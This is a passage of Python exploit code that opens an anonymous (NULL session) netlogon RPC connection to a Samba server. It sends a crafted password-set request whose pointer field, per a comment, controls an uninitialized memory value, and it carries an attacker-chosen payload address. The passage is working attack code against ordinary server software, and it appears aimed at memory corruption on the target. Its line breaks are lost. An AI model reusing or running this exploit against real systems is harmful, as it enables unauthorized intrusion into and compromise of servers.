r'ncacn_np:%s[\PIPE\netlogon]' % host) rpctransport.set_credentials('', '') # NULL session rpctransport.set_dport(port) # impacket has a problem with SMB2 dialect against samba4 # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12') dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) sessionKey = '\x00' * 16 ### # prepare ServerPasswordSet request ### authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( '12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = payload primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = free_addr request = NetrServerPasswordSet() request['PrimaryName'] = primaryName request['AccountName'] = username + '\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = host + '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass DCERPCSessionError = nrpc.DCERPCSessionError try: resp = dce.request(request) print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected") print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except DCERPCSessionError as e: # expect error_code: 0xc0000225 - STATUS_NOT_FOUND # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except impacket.nmb.NetBIOSError as e: # print 'exception occured' if e.args[0] == 'Error while reading from remote': # print("connection lost!!!\nmight be vulnerable") return 1 else: raise except AttributeError: # print("exception") return 0